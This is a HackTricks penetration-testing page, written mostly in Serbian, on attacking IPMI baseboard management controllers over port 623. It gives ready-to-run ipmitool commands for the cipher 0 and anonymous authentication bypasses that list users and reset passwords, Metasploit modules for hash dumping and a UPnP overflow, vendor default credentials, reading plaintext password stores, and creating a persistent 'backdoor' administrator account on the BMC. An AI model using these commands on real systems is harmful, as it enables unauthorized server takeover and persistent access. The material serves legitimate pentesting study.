hacktricks/network-services-pentesting/623-udp-ipmi.md

10 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Overview of IPMI

Intelligent Platform Management Interface (IPMI) nudi standardizovani pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima na daljinu, čak i kada su isključeni ili neodgovaraju, i posebno je korisna za:

  • Konfiguracije pre pokretanja operativnog sistema
  • Upravljanje isključenjem
  • Oporavak od sistemskih grešaka

IPMI je sposoban da nadgleda temperature, napone, brzine ventilatora i napajanja, uz pružanje informacija o inventaru, pregledanje hardverskih logova i slanje upozorenja putem SNMP-a. Osnovni zahtevi za njegov rad su izvor napajanja i LAN konekcija.

Od svog uvođenja od strane Intela 1998. godine, IPMI je podržan od strane brojnih dobavljača, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijsku komunikaciju preko LAN-a. Ključne komponente uključuju:

  • Baseboard Management Controller (BMC): Glavni mikro-kontroler za IPMI operacije.
  • Communication Buses and Interfaces: Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i razne interfejse za lokalne i mrežne konekcije.
  • IPMI Memory: Za čuvanje logova i podataka.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Default Port: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)

Enumeration

Discovery

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Možete identifikovati verziju koristeći:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Ranljivosti

U oblasti IPMI 2.0, značajna sigurnosna slabost otkrivena je od strane Dana Farmera, otkrivajući ranjivost kroz cipher type 0. Ova ranjivost, dokumentovana u detalje na istraživanju Dana Farmera, omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička. Ova slabost je pronađena kod različitih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše široko rasprostranjen problem unutar svih IPMI 2.0 implementacija.

IPMI Zaobilaženje Autentifikacije putem Cipher 0

Da bi se otkrila ova slabost, može se koristiti sledeći Metasploit pomoćni skener:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Eksploatacija ove greške je moguća sa ipmitool, kao što je prikazano u nastavku, omogućavajući listanje i modifikaciju korisničkih lozinki:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Autentifikacija Udaljeno Preuzimanje Hash-a Lozinke

Ova ranjivost omogućava preuzimanje zasoljenih hash-ova lozinki (MD5 i SHA1) za bilo koje postojeće korisničko ime. Da biste testirali ovu ranjivost, Metasploit nudi modul:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonymous Authentication

Podrazumevana konfiguracija u mnogim BMC-ima omogućava "anonimni" pristup, koji se karakteriše nul korisničkim imenom i lozinkom. Ova konfiguracija se može iskoristiti za resetovanje lozinki imenovanih korisničkih naloga koristeći ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Lozinke u Čistom Tekstu

Kritična dizajnerska odluka u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhe autentifikacije. Skladištenje ovih lozinki na mestima kao što su /nv/PSBlock ili /nv/PSStore postavlja značajne bezbednosne brige:

cat /nv/PSBlock

Supermicro IPMI UPnP Ranljivost

Uključivanje UPnP SSDP slušatelja u Supermicro-ovom IPMI firmveru, posebno na UDP portu 1900, uvodi ozbiljan bezbednosni rizik. Ranljivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u Rapid7-ovom otkriću, omogućavaju pristup root-u BMC-u:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP nasumično generiše podrazumevanu lozinku za svoj Integrated Lights Out (iLO) proizvod tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača, koji obično koriste statične podrazumevane akreditive. Sažetak podrazumevanih korisničkih imena i lozinki za različite proizvode je dat u nastavku:

  • HP Integrated Lights Out (iLO) koristi fabricki nasumično generisanu 8-znamenkastu string kao svoju podrazumevanu lozinku, pokazujući viši nivo sigurnosti.
  • Proizvodi poput Dell-ovog iDRAC, IBM-ovog IMM i Fujitsu-ovog Integrated Remote Management Controller koriste lako pogađajuće lozinke kao što su "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
  • Slično tome, Supermicro IPMI (2.0), Oracle/Sun ILOM i ASUS iKVM BMC takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.

Accessing the Host via BMC

Administrativni pristup Kontroleru upravljanja matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje KVM funkcionalnosti BMC-a. To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći init=/bin/sh) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, može se lako preuzeti putem KVM ili serial-over-LAN (sol) funkcionalnosti BMC-a koristeći ipmitool. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, poput i2c magistrale i Super I/O čipa, je oblast koja zahteva dalju istragu.

Introducing Backdoors into BMC from the Host

Nakon kompromitovanja hosta opremljenog BMC-om, lokalni BMC interfejs se može iskoristiti za umetanje backdoor korisničkog naloga, stvarajući trajnu prisutnost na serveru. Ovaj napad zahteva prisustvo ipmitool na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubrizgati u BMC koristeći lokalni interfejs hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika je primenljiva na širok spektar operativnih sistema uključujući Linux, Windows, BSD, pa čak i DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}